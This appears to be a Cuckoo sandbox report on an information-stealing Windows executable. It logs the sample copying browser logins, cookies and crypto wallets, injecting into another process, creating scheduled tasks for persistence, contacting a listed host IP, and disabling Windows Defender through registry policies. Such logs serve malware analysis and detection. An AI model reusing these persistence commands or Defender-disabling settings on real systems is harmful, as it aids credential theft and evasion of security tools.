regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe AIR
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: EditPlus
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Chrome
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: ????? ?? 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Mozilla Thunderbird 78.4.0 (x86 ko)
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Professional Plus 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe AIR
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: HttpWatch Professional 9.3.39
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: ????? ?? 2010
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Java 8 Update 131
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Java Auto Updater
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Google Update Helper
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Access MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Excel MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft PowerPoint MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Publisher MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Outlook MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Word MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proofing Tools 2013 - English
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Outils de vérification linguistique 2013 de Microsoft Office - Français
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proofing Tools 2013 - Español
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Proofing (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft InfoPath MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Shared MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft DCF MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft OneNote MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Groove MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office OSM MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office OSM UX MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Shared Setup Metadata MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Access Setup Metadata MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Lync MUI (English) 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Office Professional Plus 2013
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Flash Player 13 ActiveX
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Flash Player 13 NPAPI
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Acrobat Reader DC MUI
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x00000494
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName
1 0 0
file C:\Users\test22\AppData\Roaming\ICQ\0001
file C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
registry HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
registry HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
registry HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
process face.exe useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36
process iexplore.exe useragent Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
process explorhe.exe useragent
process InstallSetup7.exe useragent NSIS_Inetc (Mozilla)
process rty25.exe useragent HTTPREAD
description Possibly a polymorphic version of itself file {u'size': 1207296, u'yara': [{u'strings': [], u'meta': {u'description': u'(no description)'}, u'name': u'IsPE32', u'offsets': {}}, {u'strings': [u'bnRkbGwuZGw='], u'meta': {u'date': u'2021-03-16', u'update': u'2021-04-14', u'description': u'Malicious Packer', u'author': u'r0d'}, u'name': u'Malicious_Packer_Zero', u'offsets': {u'o104': [[562778L, 0]]}}, {u'strings': [u'TVo='], u'meta': {u'ini_date': u'2020-06-03', u'description': u'PE File Signature', u'author': u'r0d'}, u'name': u'PE_Header_Zero', u'offsets': {u'signature': [[0L, 0]]}}, {u'strings': [u'Dz8HCw=='], u'meta': {u'description': u'Possibly employs anti-virtualization techniques', u'author': u'nex'}, u'name': u'anti_vm_detect', u'offsets': {u'virtualpc': [[897037L, 0]]}}], u'sha1': u'8715a140542b52ed2fa2a38a76e1d2032643a943', u'name': u'a41ff6402d00da75_8G51dyVKnnvS40g1JD2e.exe', u'filepath': u'C:\\Users\\test22\\AppData\\Local\\Temp\\jobA4F6U_tCj88G2a2\\8G51dyVKnnvS40g1JD2e.exe', u'sha512': u'558700b057955c5674b25303df2af6b8df19761b601e96c07d3b41e5586786dbfb65e2977d70d2ccecebd80c12a4fb2d932cda49daa9b87613832795ca29f300', u'urls': [], u'crc32': u'BA8ED5CF', u'path': u'/home/cuckoo/.cuckoo/storage/analyses/47572/files/a41ff6402d00da75_8G51dyVKnnvS40g1JD2e.exe', u'ssdeep': u'24576:+Z4uCjOyp+O4vBOpspnYW4wQHBaWnBCqgqZcWycSmC:sgjOWFpjzlHBaWntgqZcX', u'sha256': u'a41ff6402d00da752f2fefd4286c76771d51a14e4d8eb2ceca494863cf0b3334', u'type': u'PE32 executable (GUI) Intel 80386, for MS Windows', u'pids': [1792, 2416], u'md5': u'697b929b3a29125832a5814f22e15337', u'virustotal': {u'summary': {u'error': u'resource has not been scanned yet'}}}
file C:\Windows\Prefetch\PYTHON.EXE-C663CFDC.pf
file C:\Windows\Prefetch\GOOGLEUPDATESETUP.EXE-305B5E54.pf
file C:\Windows\Prefetch\AUDIODG.EXE-BDFD3029.pf
file C:\Windows\Prefetch\THUNDERBIRD.EXE-A0DA674F.pf
file C:\Windows\Prefetch\DLLHOST.EXE-4F28A26F.pf
file c:\Windows\Temp\fwtsqmfile01.sqm
file C:\Windows\Prefetch\SVCHOST.EXE-7AC6742A.pf
file C:\Windows\Prefetch\GOOGLEUPDATE.EXE-D0E66F4A.pf
file C:\Windows\Prefetch\86.0.4240.111_CHROME_INSTALLE-AF26656A.pf
file C:\Windows\Prefetch\CSC.EXE-BE9AC2DF.pf
file c:\Windows\Temp\fwtsqmfile00.sqm
file C:\Users\test22\AppData\Local\Temp\F59E91F8
file C:\Windows\Prefetch\SOFTWARE_REPORTER_TOOL.EXE-EB18F4FF.pf
file C:\Users\test22\AppData\Local\Temp\~DF8C0F100C7231519A.TMP
file C:\Windows\Prefetch\IEXPLORE.EXE-908C99F8.pf
file C:\Windows\Prefetch\DLLHOST.EXE-5E46FA0D.pf
file C:\Windows\Prefetch\SLUI.EXE-724E99D9.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-1304AE86.pf
file C:\Windows\Prefetch\PING.EXE-7E94E73E.pf
file C:\Windows\Prefetch\GOOGLEUPDATE.EXE-C3A1B497.pf
file C:\Windows\Prefetch\TRUSTEDINSTALLER.EXE-3CC531E5.pf
file C:\Windows\Prefetch\WMIPRVSE.EXE-1628051C.pf
file C:\Windows\Prefetch\DEFRAG.EXE-588F90AD.pf
file C:\Windows\Prefetch\CHROME.EXE-D999B1BA.pf
file C:\Windows\Prefetch\SVCHOST.EXE-80F4A784.pf
file C:\Windows\Prefetch\IMKRMIG.EXE-AAA206C5.pf
file C:\Windows\Prefetch\UNPACK200.EXE-E4DF1A4E.pf
file C:\Users\test22\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A
file C:\Windows\Prefetch\DLLHOST.EXE-40DD444D.pf
file C:\Windows\Prefetch\IEXPLORE.EXE-4B6C9213.pf
file C:\Windows\Prefetch\7ZFM.EXE-22E64FB8.pf
file C:\Windows\Prefetch\GOOGLEUPDATESETUP.EXE-B0D5C571.pf
file C:\Windows\Prefetch\GOOGLEUPDATESETUP.EXE-34B7EAE8.pf
file C:\Windows\Prefetch\SVCHOST.EXE-E1E0ACE0.pf
file C:\Windows\Prefetch\LOGONUI.EXE-09140401.pf
file C:\Windows\Prefetch\TASKHOST.EXE-7238F31D.pf
file C:\Windows\Prefetch\MOBSYNC.EXE-C5E2284F.pf
file C:\Windows\Prefetch\AgGlFgAppHistory.db
file C:\Windows\Prefetch\JAVAW.EXE-D0AA8787.pf
file C:\Windows\Prefetch\SSVAGENT.EXE-0CD059B7.pf
file C:\Windows\Prefetch\AgGlUAD_P_S-1-5-21-3832866432-4053218753-3017428901-1001.db
file C:\Windows\Prefetch\CONHOST.EXE-1F3E9D7E.pf
file C:\Windows\Prefetch\OSE.EXE-2B23CA4C.pf
file C:\Windows\Prefetch\INSTALLER.EXE-60163557.pf
file C:\Windows\Prefetch\PINGSENDER.EXE-8E79128B.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-5A853E81.pf
file C:\Windows\Prefetch\AgRobust.db
file C:\Windows\Prefetch\ICACLS.EXE-B19DE1F7.pf
file C:\Windows\Prefetch\IMEKLMG.EXE-3FEB7CC0.pf
file C:\Windows\Prefetch\CMD.EXE-4A81B364.pf
file C:\Users\test22\AppData\Roaming\Exodus\exodus.wallet
file C:\Users\test22\AppData\Roaming\MultiDoge\multidoge.wallet
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\D87fZN3R3jFeplaces.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\JX0OQi4nZtiqplaces.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\IWPfiAXUTJTSformhistory.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\02zdBXl47cvzHistory
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\D87fZN3R3jFeWeb Data
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\02zdBXl47cvzcookies.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\IWPfiAXUTJTSHistory
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\5lop_S5WM5ERCookies
file C:\Users\test22\AppData\Local\Temp\3WCfXFplHcxIJHg4Pd6b5AQxGpX8awic.zip
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\QdX9ITDLyCRBplaces.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\3b6N2Xdh3CYwWeb Data
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\3b6N2Xdh3CYwplaces.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\Ei8DrAmaYu9KLogin Data
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\KvHrxJ77cmUgcookies.sqlite
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\QdX9ITDLyCRBWeb Data
file C:\Users\test22\AppData\Local\Temp\SetupExe(20200504224110B04).log
file C:\Windows\Prefetch\SNIPPINGTOOL.EXE-EFFDAFDE.pf
file C:\Windows\Prefetch\IMEKLMG.EXE-3FEB7CC0.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\1F4WQUHZ\dropbox_logo_text_2015-vfld7_dJ8[1].svg
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\latestrocki[1].exe
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\override[1].css
file C:\Windows\Prefetch\SVCHOST.EXE-7AC6742A.pf
file C:\Windows\Prefetch\SVCHOST.EXE-80F4A784.pf
file C:\Users\test22\AppData\Local\Temp\dd_vcredist_amd64_20180201144548_000_vcRuntimeMinimum_x64.log
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\desktop.ini
file C:\Users\test22\AppData\Local\Temp\{E7573238-1B24-467B-B5A4-0BE967E0BF64}.tmp
file C:\Users\test22\AppData\Local\Temp\jobA3F6U_tCj88G2a2\information.txt
file C:\Windows\Prefetch\CONTROL.EXE-817F8F1D.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\U06NAGU2\mnrstrtr[1].js
file C:\Windows\Prefetch\MSCORSVW.EXE-90526FAC.pf
file C:\Users\test22\AppData\Local\Temp\IME2010imeklmg00000026.log
file C:\Windows\Prefetch\RUNDLL32.EXE-5A853E81.pf
file C:\Windows\Prefetch\CVTRES.EXE-2B9D810D.pf
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\SOC-Facebook[1].png
file C:\Windows\Prefetch\RUNDLL32.EXE-8C11D845.pf
file C:\Users\test22\AppData\Local\Temp\Setup00000994\SETUP.CHM
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\keys_js5[2].htm
file C:\Windows\Prefetch\WERMGR.EXE-0F2AC88C.pf
file C:\Windows\Prefetch\SVCHOST.EXE-E1E0ACE0.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-4366A668.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-87432CEE.pf
file C:\Users\test22\AppData\Local\Temp\1000493001\latestrocki.exe
file C:\Windows\Prefetch\AgGlUAD_P_S-1-5-21-3832866432-4053218753-3017428901-1001.db
file C:\Windows\Prefetch\AgAppLaunch.db
file C:\Users\test22\AppData\Local\Temp\SetupExe(20180405152131B24).log
file c:\Windows\Temp\TS_7FC6.tmp
file C:\Windows\Prefetch\IEXPLORE.EXE-908C99F8.pf
file C:\Windows\Prefetch\GOOGLEUPDATE.EXE-C3A1B497.pf
file C:\Windows\Prefetch\RUNDLL32.EXE-1304AE86.pf
file C:\Windows\Prefetch\AUDIODG.EXE-BDFD3029.pf
Process injection Process 2776 resumed a thread in remote process 2856
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000338
suspend_count: 1
process_identifier: 2856
1 0 0
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
file C:\Windows\Prefetch\VBOXDRVINST.EXE-7DCD6070.pf
dead_host 185.172.128.53:80
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description attempts to modify windows defender policies registry HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection